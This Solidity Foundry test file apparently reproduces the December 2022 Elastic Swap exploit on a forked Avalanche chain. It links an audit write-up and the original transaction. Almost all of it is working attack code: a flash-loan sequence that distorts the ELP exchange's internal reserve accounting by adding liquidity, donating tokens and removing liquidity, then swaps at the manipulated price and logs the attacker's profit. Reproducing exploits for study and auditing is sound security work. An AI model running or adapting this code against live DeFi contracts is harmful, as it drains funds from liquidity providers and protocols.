src/test/2022-12/ElasticSwap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://quillaudits.medium.com/decoding-elastic-swaps-850k-exploit-quillaudits-9ceb7fcd8d1a
9// @Tx
10// https://etherscan.io/tx/0xb36486f032a450782d5d2fac118ea90a6d3b08cac3409d949c59b43bcd6dbb8f
11 
12interface ELPExchange is IERC20 {
13    struct InternalBalances {
14        // x*y=k - we track these internally to compare to actual balances of the ERC20's
15        // in order to calculate the "decay" or the amount of balances that are not
16        // participating in the pricing curve and adding additional liquidity to swap.
17        uint256 baseTokenReserveQty; // x
18        uint256 quoteTokenReserveQty; // y
19        uint256 kLast; // as of the last add / rem liquidity event
20    }
21 
22    function internalBalances() external view returns (InternalBalances memory);
23    function addLiquidity(
24        uint256 _baseTokenQtyDesired,
25        uint256 _quoteTokenQtyDesired,
26        uint256 _baseTokenQtyMin,
27        uint256 _quoteTokenQtyMin,
28        address _liquidityTokenRecipient,
29        uint256 _expirationTimestamp
30    ) external;
31    function removeLiquidity(
32        uint256 _liquidityTokenQty,
33        uint256 _baseTokenQtyMin,
34        uint256 _quoteTokenQtyMin,
35        address _tokenRecipient,
36        uint256 _expirationTimestamp
37    ) external;
38    function swapQuoteTokenForBaseToken(
39        uint256 _quoteTokenQty,
40        uint256 _minBaseTokenQty,
41        uint256 _expirationTimestamp
42    ) external;
43}
44 
45contract ContractTest is Test {
46    IERC20 TIC = IERC20(0x75739a693459f33B1FBcC02099eea3eBCF150cBe);
47    IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
48    Uni_Pair_V2 SPair = Uni_Pair_V2(0x4CF9dC05c715812FeAD782DC98de0168029e05C8);
49    Uni_Pair_V2 JPair = Uni_Pair_V2(0xA389f9430876455C36478DeEa9769B7Ca4E3DDB1);
50    ELPExchange ELP = ELPExchange(0x4ae1Da57f2d6b2E9a23d07e264Aa2B3bBCaeD19A);
51 
52    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
53 
54    function setUp() public {
55        cheats.createSelectFork("avalanche", 23_563_709);
56    }
57 
58    function testExploit() public {
59        TIC.approve(address(ELP), type(uint256).max);
60        USDC_E.approve(address(ELP), type(uint256).max);
61        ELP.approve(address(ELP), type(uint256).max);
62        SPair.swap(51_112 * 1e18, 0, address(this), new bytes(1));
63 
64        emit log_named_decimal_uint(
65            "Attacker USDC.E balance after exploit", USDC_E.balanceOf(address(this)), USDC_E.decimals()
66        );
67        emit log_named_decimal_uint("Attacker TIC balance after exploit", TIC.balanceOf(address(this)), TIC.decimals());
68    }
69 
70    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
71        JPair.swap(766_685 * 1e6, 0, address(this), new bytes(1));
72        TIC.transfer(address(SPair), 51_624 * 1e18);
73    }
74 
75    function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
76        uint256 TICAmount = TIC.balanceOf(address(ELP));
77        uint256 USDC_EAmount = USDC_E.balanceOf(address(ELP));
78        uint256 _expirationTimestamp = 1_000_000_000_000;
79        ELP.addLiquidity(1e9, 0, 0, 0, address(this), _expirationTimestamp);
80        ELP.addLiquidity(TICAmount, USDC_EAmount, 0, 0, address(this), _expirationTimestamp);
81        USDC_E.transfer(address(ELP), USDC_E.balanceOf(address(ELP)));
82        ELP.removeLiquidity(ELP.balanceOf(address(this)), 1, 1, address(this), _expirationTimestamp);
83        // USDC.E swap to TIC
84        ELPExchange.InternalBalances memory InternalBalance = ELP.internalBalances();
85        uint256 USDC_EReserve = InternalBalance.quoteTokenReserveQty;
86        ELP.swapQuoteTokenForBaseToken(USDC_EReserve * 100, 1, _expirationTimestamp);
87        TICAmount = TIC.balanceOf(address(this));
88        USDC_EAmount = USDC_E.balanceOf(address(this));
89        // TIC swap to USDC.e
90        ELP.addLiquidity(TICAmount, USDC_EAmount, 0, 0, address(this), _expirationTimestamp);
91        ELP.removeLiquidity(ELP.balanceOf(address(this)), 1, 1, address(this), _expirationTimestamp);
92        USDC_E.transfer(address(JPair), 774_353 * 1e6);
93    }
94}